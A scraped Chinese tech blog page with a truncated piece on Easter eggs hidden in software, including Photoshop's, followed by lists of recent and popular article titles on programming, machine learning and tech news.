    很多软件中都隐藏着一些名为彩蛋的小东东,这些不是软件的Bug,更不是恶作剧,仅仅是程序员编程之余的自娱自乐.彩蛋的表现方式有很多种,比如小游戏.一段音乐.开发人员名单.可爱的照片等等,以前很多文章中都 ...

  10. Photoshop 中的彩蛋

    Adobe Photoshop 开发者在软件中留下几个彩蛋 Easter Eggs,也许是他们在紧张的程序开发过程中的一种自我调节吧,就如复活节彩蛋一样,同样也给 Photoshop 的用户们带来一点 ...

最新文章

  1. 理想边界尺寸怎么算_钻石型淋浴房三边尺寸怎么算?安装步骤有哪些?
  2. 我和乘子交替方向法admm_找到最大和交替子序列
  3. 关于多文档MFC从xp系统上移植到win7上出现错误的问题解决经验
  4. 【机器学习】监督学习--KNN(最近邻)算法
  5. 腾讯区块链专利申请量排名全国第一;摩拜超20.56万单车被破坏;Nginx 1.17.7发布 | 极客头条...
  6. sql中用临时表 或 创建视图那个效率比较快!
  7. 基于差分分级和关联规则挖掘的气象数据关联性分析实战
  8. eclipse git拉取失败_收藏!工作中Git使用实践和常用命令流程合集
  9. ASP.NET WEB API简介
  10. 移动咪咕盒子10款型号刷机固件汇总分享(附刷机教程)
  11. IDEA配置Android-SDK
  12. 批处理版MPlayer播放器(甲兵时代原创批处理)(下)
  13. 《德鲁克管理思想精要》读书笔记9 - 决策
  14. 预留度数Rx表达式的推导
  15. MFC基础知识与课程设计思路
  16. 攻防世界Misc——来自银河的声音
  17. STL源码剖析-第一章STL概论与版本简介
  18. Rational Rose 建立图书管理系统模型UML
  19. 【微软chatGPT版bing上线了,使用体验如何,符合你的需求吗?】
  20. 用win引导linux系统,用WinGrub 引导Linux

热门文章

  1. 图卷积网络详细介绍(二)
  2. Keras版GCN源码解析
  3. 信号数据EMD分解+IMF时序数据LSTM预测建模实践
  4. 用于函数优化的一维 (1D) 测试函数
  5. Python爬取豆瓣网中即将上映的电影数据清单
  6. Windows下Python安装numpy+mkl,Scipy和statsmodels
  7. 计算机课程联合考试是什么意思,计算机技术在职研究生能否通过一月联考的方式学习课程内容...
  8. 区块链 以太坊 验证区块
  9. mysql order 中文版,MySQL Order By排序结果
  10. MySQL学习(一、概述和表的基本操作)